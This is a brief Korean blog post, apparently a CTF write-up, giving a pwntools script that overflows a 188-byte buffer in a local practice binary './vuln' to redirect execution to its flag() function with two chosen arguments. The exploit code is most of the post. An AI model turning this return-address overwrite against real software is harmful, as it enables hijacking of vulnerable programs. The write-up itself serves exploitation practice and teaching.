호그와트

gdb-peda와 흠냐

영웅*^%&$ 2023. 6. 7. 12:22
728x90

0xdeadbeef = -0x21524111,  0xc0ded00d =  -0x3f212ff3으로 변환 가능

그러므로
from pwn import *

context.update(arch="i386", os="linux")

elf = ELF("./vuln")

# offset to reach right before return address's location
offset = b"A" * 188

# craft exploit: offset + flag() + padding + parameter 1 + parameter 2
exploit = offset + p32(elf.symbols['flag'], endian="little") + p32(0x90909090) + p32(0xdeadbeef, endian="little") + p32(0xc0ded00d, endian="little")

r = elf.process()
r.sendlineafter(":", exploit)
r.interactive()

728x90